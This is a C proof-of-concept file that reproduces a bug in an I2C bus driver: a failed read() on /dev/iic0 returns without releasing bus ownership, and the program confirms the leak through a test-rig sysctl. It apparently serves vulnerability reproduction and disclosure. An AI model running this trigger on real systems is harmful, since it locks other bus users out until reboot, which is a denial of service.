DF-2311 / poc2311.c
/* * DF-2311 PoC (v3 -- authoritative softc probe) * * iicread() (sys/bus/iicbus/iic.c:263-268) returns on * iicbus_block_read() failure WITHOUT calling iicbus_release_bus() * (compare iicwrite :222-225 which always releases). The leaked owner * is directly observable in struct iicbus_softc->owner (iicbus.h:39) * via the rig's hw.fakebb3.busowner sysctl. * * NOTE on trigger flavor: on the emulated peer a read-direction NACK * cannot be expressed (the slave only NACKs write-direction data), so * the deterministic block_read failure used here is the * bus-already-started EINVAL (iicbus_start, iiconf.c:178) -- the SAME * early-error return at iic.c:265-268 that any block_read failure * (incl. the finding's NACKed-address flavor on real hardware) takes. * * IMPORTANT: the probe must be the sysctl (read-only); issuing any * further iic ioctl would itself request+release the bus and mask the * leak (the ioctl path always releases at iic.c:383). */ #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/sysctl.h> #include "iic_abi.h" static char ownerbuf[64]; static const char * owner_now(void) { size_t l = sizeof(ownerbuf); if (sysctlbyname("hw.fakebb3.busowner", ownerbuf, &l, NULL, 0) < 0) return ("(sysctl failed)"); return (ownerbuf); } int main(void) { struct iiccmd s; char buf[8]; int fd; setvbuf(stdout, NULL, _IONBF, 0); fd = open("/dev/iic0", O_RDWR | O_NONBLOCK); if (fd < 0) { printf("DF2311: open FAILED %s\n", strerror(errno)); return (1); } ioctl(fd, I2CSTOP); memset(&s, 0, sizeof(s)); s.slave = 0x6d; if (ioctl(fd, I2CSTART, &s) != 0) { printf("DF2311: arm failed %s\n", strerror(errno)); return (1); } printf("DF2311: sc_addr=0x6d armed, sc->started kept nonzero\n"); printf("DF2311: iicbus0 owner BEFORE: %s (0 = released)\n", owner_now()); { pid_t p = fork(); if (p == 0) { alarm(5); ssize_t r = read(fd, buf, sizeof(buf)); printf("DF2311: read() returned %zd errno=%d " "(block_read failed; iicread returned at " "iic.c:265-268 WITHOUT iicbus_release_bus)\n", r, errno); _exit(0); } waitpid(p, NULL, 0); } printf("DF2311: iicbus0 owner AFTER FAILED READ: %s " "(nonzero = LEAKED)\n", owner_now()); sleep(2); printf("DF2311: iicbus0 owner +2s: %s " "(unchanged = permanent; any other iicbus child is " "locked out until reboot)\n", owner_now()); if (strcmp(ownerbuf, "0") != 0 && strlen(ownerbuf) > 2) { printf("DF2311: REPRODUCED -- iicread() leaked the I2C bus " "ownership on block_read failure\n"); return (0); } printf("DF2311: not reproduced\n"); return (1); } |